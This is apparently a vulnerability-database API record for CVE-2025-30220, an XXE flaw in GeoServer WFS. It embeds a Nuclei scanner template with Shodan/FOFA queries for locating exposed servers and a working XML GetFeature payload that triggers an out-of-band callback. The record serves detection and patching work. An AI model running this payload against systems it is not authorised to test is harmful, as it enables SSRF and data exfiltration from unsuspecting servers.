{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-30220/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-30220/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-30220/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-30220/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-30220/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-30220"},"sightings":{"href":"/api/v1/sightings/cve-2025-30220"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-30220.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-30220\n\ninfo:\n  name: GeoServer WFS - XXE Processing Vulnerability\n  author: iamnoooob,pdresearch,darses\n  severity: critical\n  description: |\n    GeoServer Web Feature Service (WFS) is vulnerable to an XML External Entity (XXE) processing attack due to improper handling of XML input. This vulnerability allows attackers to perform Out-of-Band (OOB) data exfiltration and Server-Side Request Forgery (SSRF) by exploiting the GeoTools library.\n  impact: |\n    Unauthenticated attackers can exploit XXE vulnerabilities in GeoServer WFS to perform OOB data exfiltration and SSRF attacks, potentially accessing internal services and sensitive data.\n  remediation: |\n    Upgrade to the latest GeoServer version that properly disables external entity processing in WFS requests.\n  reference:\n    - https://github.com/geoserver/geoserver/security/advisories/GHSA-jj54-8f66-c5pc\n    - https://docs.geoserver.org/latest/en/user/production/config.html#production-config-external-entities\n    - https://github.com/geonetwork/core-geonetwork/pull/8757\n    - https://github.com/geonetwork/core-geonetwork/pull/8803\n    - https://github.com/geonetwork/core-geonetwork/pull/8812\n    - https://geoserver.org/vulnerability/2025/06/10/cve-disclosure.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L\n    cvss-score: 9.9\n    cve-id: CVE-2025-30220\n    cwe-id: CWE-611\n    epss-score: 0.42285\n    epss-percentile: 0.98651\n  metadata:\n    verified: true\n    max-request: 8\n    vendor: osgeo\n    product: geoserver\n    shodan-query:\n      - title:\"geoserver\"\n      - 'http.html_hash:1093634893 \"Content-Disposition: inline\"'\n      - http.favicon.hash:97540678\n      - html:\"/geoserver/\"\n    fofa-query:\n      - title=\"geoserver\"\n      - app=\"geoserver\"\n      - icon_hash=\"97540678\"\n      - body=\"/geoserver/\"\n  tags: cve,cve2025,geoserver,xxe,oast,oob,ssrf,unauth,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/geoserver/wfs?service=WFS&request=GetCapabilities\"\n      - \"{{BaseURL}}/geoserver/ows?service=WFS&request=GetCapabilities\"\n      - \"{{BaseURL}}/wfs?service=WFS&request=GetCapabilities\"\n      - \"{{BaseURL}}/ows?service=WFS&request=GetCapabilities\"\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains(body, \"wfs:WFS_Capabilities\")'\n          - 'contains(content_type, \"application/xml\")'\n          - \"status_code == 200\"\n        condition: and\n\n    extractors:\n      - type: xpath\n        name: featuretype\n        internal: true\n        xpath:\n          - /wfs:WFS_Capabilities/FeatureTypeList/FeatureType[1]/Name\n\n  - method: POST\n    path:\n      - \"{{BaseURL}}/geoserver/wfs?service=WFS\"\n      - \"{{BaseURL}}/geoserver/ows?service=WFS\"\n      - \"{{BaseURL}}/wfs?service=WFS\"\n      - \"{{BaseURL}}/ows?service=WFS\"\n\n    stop-at-first-match: true\n\n    headers:\n      Content-Type: \"application/xml;charset=UTF-8\"\n\n    body: |\n      <wfs:GetFeature service=\"WFS\" version=\"1.0.0\"\n      xmlns:wfs=\"http://www.opengis.net/wfs\"\n      xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n      xsi:schemaLocation=\"http://a http://{{interactsh-url}}/xxe.xsd\">\n      <wfs:Query typeName=\"{{featuretype}}\"/>\n      </wfs:GetFeature>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'contains(body, \"java.lang.NullPointerException\")'\n          - \"status_code == 200\"\n        condition: and\n# digest: 4a0a004730450220131dca75b442ed159fe3eb862f69947cb8ce02bbdd69455c02687ab7b7dda4fd022100e0cd8b45c5e8d1c07afed97b5069a5aad7da9004468e5e80bdda73c914ea4482:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-30220"}